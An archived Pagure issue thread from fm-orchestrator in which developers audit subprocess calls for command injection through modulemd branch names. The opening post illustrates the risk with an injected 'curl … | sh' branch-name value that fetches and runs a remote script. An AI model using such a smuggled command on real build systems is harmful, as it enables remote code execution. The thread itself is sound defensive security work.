Issue #329: [audit] ensure that any shell execution scrubs untrusted input. - fm-orchestrator - Pagure.io

Static archive. pagure.io was sunset in 2026; this is a read-only snapshot.

fm-orchestrator

#329 [audit] ensure that any shell execution scrubs untrusted input.

Closed: Fixed Feb 21, 2017 Opened Feb 17, 2017 by ralph.

Theory: if someone crafted a modulemd file with an rpm listed in it and the branchname for that rpm was foo; curl http://threebean.org/exploit-the-box.sh | sh, we would pass that branch name through and become compromised.

The purpose of this ticket is to search for all cases of shell/subprocess execution, and to ensure that we're scrubbing any input coming from modulemd files.

ralph commented Feb 17, 2017

Note - it looks like this is not possible atm. We do not pass shell=True to subprocess.Popen().

We should write a unit test that tries to achieve this exploit, and ensure that it fails.

Metadata Update from @ralph:
- Issue assigned to ralph

Feb 20, 2017

ralph commented Feb 20, 2017

See #342.

ralph commented Feb 21, 2017

Commit 2e6e1536 fixes this issue

mikem commented Apr 21, 2026

This issue has been migrated to Fedora Forge:
https://forge.fedoraproject.org/koji/mbs/issues/329

Please continue any further discussion there.

Metadata

Assignee

Tags

None

Blocking

None

Depending on

None

Priority

None

Static archive. pagure.io was sunset in 2026; this is a read-only snapshot.

Fedora is sponsored by Red Hat. Learn more about the relationship between Red Hat and Fedora »

© Red Hat, Inc. and others.